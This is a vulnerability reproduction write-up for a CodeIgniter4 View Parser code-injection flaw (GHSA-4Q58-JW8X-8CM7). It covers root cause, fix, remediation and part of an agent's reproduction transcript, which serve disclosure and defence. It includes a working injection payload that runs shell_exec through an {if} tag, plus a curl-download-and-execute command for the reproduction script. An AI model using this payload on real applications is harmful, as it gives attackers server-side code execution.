GHSA-4Q58-JW8X-8CM7: Verified Reproduction
GHSA-4Q58-JW8X-8CM7: CodeIgniter4 View Parser conditional tags allow arbitrary PHP code execution in user-editable templates
GHSA-4Q58-JW8X-8CM7 is verified against codeigniter4/framework (Composer ecosystem) · composer. Affected versions: < 4.7.5. Fixed in 4.7.5. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00384.
What Is GHSA-4Q58-JW8X-8CM7?
GHSA-4Q58-JW8X-8CM7 is a high-severity vulnerability affecting codeigniter4/framework (Composer ecosystem) < 4.7.5. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00384).
GHSA-4Q58-JW8X-8CM7 Severity
GHSA-4Q58-JW8X-8CM7 is rated high severity.
High — serious impact or readily exploitable. Prioritize remediation.
Affected codeigniter4/framework (Composer ecosystem) Versions
codeigniter4/framework (Composer ecosystem) · composer versions < 4.7.5 are affected.
How to Reproduce GHSA-4Q58-JW8X-8CM7
pruva-verify REPRO-2026-00384 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00384/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for GHSA-4Q58-JW8X-8CM7
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
POST body parameter 'template' (user-editable template source) rendered via service('parser')->setData([...])->renderString($template)
- POST /render
- App\Controllers\TemplateRender::render
- CodeIgniter\View\Parser::renderString
- parseConditionals()
- eval() of attacker-controlled {if} condition
reproduction_steps.sh How the agent worked
Root Cause and Exploit Chain for GHSA-4Q58-JW8X-8CM7
CodeIgniter4's View Parser evaluates {if ...} / {elseif ...} conditional
tags by splicing the unmodified tag expression into a PHP if (...):
statement and running the resulting template through eval(). When an
application renders user-editable template source (e.g. an online template
editor) with Parser::render()/renderString(), any user who can edit the
template can inject arbitrary PHP expressions into the conditional tag and
achieve server-side arbitrary PHP code execution (CWE-94). Version 4.7.5 adds
an opt-in restriction (Config\View::$restrictParserConditionals or the
per-render restrictConditionals option) that tokenizes the condition and
rejects anything beyond variables, literals, and comparison/logical operators.
- Package/component:
codeigniter4/framework,system/View/Parser.php(Parser::parseConditionals()) - Affected versions:
< 4.7.5(reproduced on v4.7.4, commit2bd0f01d2813f9ec06db42643ce39d9f5428bf6d); 4.7.5 remains exploitable unless the application explicitly enablesrestrictParserConditionals/ therestrictConditionalsrender option (confirmed at runtime). - Risk: High (CVSS 8.8). Remote, low-privilege attacker with template-edit capability gains full PHP code execution in the web server process: arbitrary command execution, file read/write, data theft, pivoting.
Impact Parity
- Disclosed/claimed maximum impact: arbitrary PHP code execution (code
injection, CWE-94) via View Parser conditional tags —
code_execution. - Reproduced impact from this run: arbitrary PHP code execution through the
real HTTP endpoint of a running CodeIgniter 4.7.4 application. The payload
{if (file_put_contents(getenv('PRUVA_MARKER_DIR').'/vuln1.txt','...')!==false) && print(shell_exec('id'))}COND_BRANCH_OK{endif}wrote attacker-named marker files to disk and returned the output ofshell_exec('id')(uid=1000(vscode) gid=1000(vscode) ...) in the HTTP response body. - Parity: full. No gap between claimed and demonstrated impact.
Root Cause
Parser::parseConditionals() (v4.7.4, system/View/Parser.php:455)
extracts each {if CONDITION} tag with a regex and replaces it with
<?php if (CONDITION): ?>, embedding the attacker-controlled CONDITION
verbatim into PHP source. The whole template is then executed with
eval('?>' . $template . '<?php ') after extract($this->tempData). The
only sanitization applied beforehand is a str_replace of literal <? /
?>, which does nothing to stop code injected through the conditional
expression itself. Because the condition is arbitrary PHP, expressions such
as (file_put_contents(...)!==false) && print(shell_exec('id')) execute
with the privileges of the PHP process.
Fix (v4.7.5): Parser::parseTemplate() computes
$this->restrictConditionals = ... || (bool) ($options['restrictConditionals'] ?? $this->config->restrictParserConditionals)
and parseConditionals() throws ViewException::forRestrictedConditional()
when isRestrictedCondition() (a PhpToken::tokenize allow-list of
variables, literals, arithmetic/comparison/logical operators, and grouping
parentheses) rejects the expression. The restriction is opt-in
(public bool $restrictParserConditionals = false; default), so upgrading
alone does not close the hole — verified at runtime in this run.
Advisory: https://github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-4q58-jw8x-8cm7
Fix diff: git diff v4.7.4 v4.7.5 -- system/View/Parser.php app/Config/View.php
Reproduction Steps
bundle/repro/reproduction_steps.sh(self-contained; run twice consecutively, both runs exit 0).- The script:
- installs PHP CLI + composer if missing;
- checks out CodeIgniter4
v4.7.4(vulnerable) into<project_cache_dir>/repoandv4.7.5(fixed) intobundle/artifacts/ci475, verifying the patch hunk is absent/present; composer install --no-devin both apps;- injects a
TemplateRendercontroller exposingPOST /render, which passes the request'stemplatebody straight intoservice('parser')->setData([...])->renderString($template, $options)(withrestrictConditionals=truewhenrestrict=1); - serves both apps over HTTP with the PHP built-in web server (the exact
command
php spark serveexecs), health-checksGET /; - sends the conditional-tag payload twice per scenario and asserts:
- v4.7.4: marker file created with the unique token and
uid=fromshell_exec('id')present in the HTTP response (RCE confirmed); - v4.7.5 +
restrict=1: no marker, nouid=, response is a 500ViewException: The Parser conditional is not allowed in restricted mode; - v4.7.5 +
restrict=0(default): marker created,uid=present — advisory note "upgrading alone is insufficient" confirmed.
- v4.7.4: marker file created with the unique token and
- Expected evidence:
[+] vuln attempt N: arbitrary PHP executed,[+] fixed-restricted attempt N: payload neutralized,[+] fixed-unrestricted attempt N: still exploitable, finalRESULT: CONFIRMED, exit code 0.
Evidence
- Full run log:
bundle/logs/reproduction_steps.log - Server logs:
bundle/logs/vuln_server.log,bundle/logs/fixed_server.log(PHP built-in server request logs for both apps) - HTTP request/response captures:
bundle/artifacts/http/(e.g.vuln1_request.txt= payload,vuln1_response.txtcontainsuid=1000(vscode) gid=1000(vscode) groups=1000(vscode)+COND_BRANCH_OK;fixedr1_response.txtcontains theViewExceptionrestricted-mode message) - Marker files written by the eval'd payload:
bundle/repro/markers/vuln1.txt,vuln2.txt,fixedu1.txt,fixedu2.txt(each contains the per-attempt unique tokenGHSA-4q58-jw8x-8cm7 arbitrary PHP executed token=...) - Runtime manifest with target identity and SHA-256 of every proof artifact:
bundle/repro/runtime_manifest.json - Environment: Ubuntu 26.04, PHP 8.5.4 (cli, NTS), Composer 2.9.5,
CodeIgniter v4.7.4 (
2bd0f01d...) and v4.7.5 (36256090...), served viaphp -S localhost:8090/8091withCI_ENVIRONMENT=production.
Recommendations / Next Steps
- Upgrade to
codeigniter4/framework >= 4.7.5and setConfig\View::$restrictParserConditionals = true(or pass['restrictConditionals' => true]to everyrender()/renderString()call that processes less-trusted template source). Upgrading without enabling the restriction leaves the application exploitable. - Longer-term, the framework should consider making the restricted mode the
default for
renderString()of non-file templates. - Test recommendation: regression test asserting that a conditional tag
containing a function call raises
ViewException::forRestrictedConditionalwhen restriction is enabled (this exact behavior was observed at runtime).
Additional Notes
- Idempotency: the script is fully re-runnable. It reuses the prepared
project cache checkout (
/pruva/project-cache/repo) and composervendor/when present, kills stalephp -Slisteners on ports 8090/8091 before starting fresh servers, cleans the marker directory, and regenerates all HTTP captures, markers, andruntime_manifest.jsonwith fresh per-attempt tokens on every run. Two consecutive clean runs passed (exit 0). - The reproduction uses the framework repository's own application skeleton
(
app/,public/,system/rewrite.php) served inproductionmode — no mocks, no sanitizer, no reimplementation of the vulnerable code. - Edge case noted:
spark servesilently increments the port when the requested one is busy; the script therefore runs the underlyingphp -Scommand directly and pre-kills stale listeners so the healthcheck and exploit always target the intended instance.
GHSA-4Q58-JW8X-8CM7 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
ls -la /pruva/project-cache/ 2>/dev/null; ls /pruva/project-cache/repo-mirrors 2>/dev/null; cat /pruva/project-cache/.pruva/cache_manifest.json 2>/dev/null; echo "---"; php -v 2>&1 | head -3; composer --version 2>&1 | head -1; which curl git jq php composer 2>&1{"cwd":"/workspace","duration_ms":75,"exit_code":1,"stderr":"","stdout":"total 4\ndrwx------ 4 vscode vscode 80 Oct 9 16:32 .\ndrwxr-xr-x 3 root root 4096 Oct 9 16:32 ..\ndrwx------ 2 vscode vscode 60 Oct 9 16:32 .pruva\ndrwx------ 2 vscode vscode 40 Oct 9 16:32 repo-mirrors\n{\n \"schema_version\": 1,\n \"entries\": [\n {\n \"path\": \"repo-mirrors\",\n \"reuse_class\": \"repo\",\n \"provenance\": \"run_generated\"\n }\n ]\n}---\npruva-command: 1: php: not ...Unknown error
cat /etc/os-release | head -3; id; which sudo docker git; ls /pruva/project-cache/repo-mirrors/ -la; curl -sI https://github.com -o /dev/null -w "github:%{http_code}\n" --max-time 15; curl -sI https://repo.packagist.org -o /dev/null -w "packagist:%{http_code}\n" --max-time 15PRETTY_NAME="Ubuntu 26.04 LTS" NAME="Ubuntu" VERSION_ID="26.04" uid=1000(vscode) gid=1000(vscode) groups=1000(vscode) /usr/bin/sudo /usr/bin/docker /usr/local/bin/git total 0
git clone --mirror --filter=blob:none https://github.com/codeigniter4/CodeIgniter4.git /pruva/project-cache/repo-mirrors/codeigniter4.git 2>&1 | tail -3 && git -C /pruva/project-cache/repo-mirrors/codeigniter4.git tag -l 'v4.7.*' | sort -V | tail -5Cloning into bare repository '/pruva/project-cache/repo-mirrors/codeigniter4.git'... v4.7.1 v4.7.2 v4.7.3 v4.7.4 v4.7.5
git -C /pruva/project-cache/repo-mirrors/codeigniter4.git diff v4.7.4 v4.7.5 --stat | tail -20{"cwd":"/workspace","duration_ms":1365,"exit_code":0,"stderr":"","stdout":" .../codeigniter.modelArgumentType.neon | 8 -\n utils/phpstan-baseline/empty.notAllowed.neon | 323 --\n utils/phpstan-baseline/loader.neon | 19 +-\n .../method.alreadyNarrowedType.neon | 88 -\n .../method.childParameterType.neon | 58 -\n utils/phpstan-baseline/method.notFound.neon | 193 -\n .../missingType.iterableValue.neon | 5673 --------------------\n utils/phpstan-baseline/missingType.parameter.neon | 158 -\n utils/phpstan-baseline/missingType.property.neon | 238 -\n utils/phpstan-baseline/nullCoalesce.property.neon | 38 -\n utils/phpstan-baseline/offsetAccess.notFound.neon | 8 -\n utils/phpstan-baseline/property.nonObject.neon | 48 -\n utils/phpstan-baseline/property.notFound.neon | 123 -\n utils/phpstan-baseline/property.phpDocType.neon | 207 +-\n utils/phpstan-baseline/return.type.neon | 18 -\n utils/phpstan-baseline/staticMethod.notFound.neon | 38 -\n .../phpstan-baseline/ternary.shortNotAllowed.neon | 113 -\n utils/phpstan-baseline/varTag.type.neon … [truncated]git -C /pruva/project-cache/repo-mirrors/codeigniter4.git diff v4.7.4 v4.7.5 -- system/View/Parser.php system/View/Plugins.php app/Config/View.php | head -250{"cwd":"/workspace","duration_ms":52,"exit_code":0,"stderr":"","stdout":"diff --git a/app/Config/View.php b/app/Config/View.php\nindex b52d980dc..427a22e56 100644\n--- a/app/Config/View.php\n+++ b/app/Config/View.php\n@@ -30,7 +30,7 @@ class View extends BaseView\n * { title|esc(js) }\n * { created_on|date(Y-m-d)|esc(attr) }\n *\n- * @var array<string, (callable(mixed): mixed)&string>\n+ * @var array<string, callable(mixed): mixed>\n */\n public $filters = [];\n \n@@ -43,6 +43,14 @@ class View extends BaseView\n */\n public $plugins = [];\n \n+ /**\n+ * When true, Parser conditionals may only contain variables, literals,\n+ * arithmetic, comparison and logical operators, and parentheses. Enable\n+ * this when less-trusted users can edit Parser templates. Can be overridden per\n+ * call with the `restrictConditionals` render option.\n+ */\n+ public bool $restrictParserConditionals = false;\n+\n /**\n * View Decorators are class methods that will be run in sequence to\n * have a chance to alter the generated output just prior to caching\ndiff --git a/system/View/Parser.php b/system/View/Parser.php\nind… [truncated]Artifacts and Evidence for GHSA-4Q58-JW8X-8CM7
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix GHSA-4Q58-JW8X-8CM7
Upgrade codeigniter4/framework (Composer ecosystem) · composer to 4.7.5 or later.
FAQ: GHSA-4Q58-JW8X-8CM7
Is GHSA-4Q58-JW8X-8CM7 exploitable?
How severe is GHSA-4Q58-JW8X-8CM7?
What type of vulnerability is GHSA-4Q58-JW8X-8CM7?
Which versions of codeigniter4/framework (Composer ecosystem) are affected by GHSA-4Q58-JW8X-8CM7?
Is there a fix for GHSA-4Q58-JW8X-8CM7?
How can I reproduce GHSA-4Q58-JW8X-8CM7?
Is the GHSA-4Q58-JW8X-8CM7 reproduction verified?
References for GHSA-4Q58-JW8X-8CM7
Authoritative sources for GHSA-4Q58-JW8X-8CM7 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.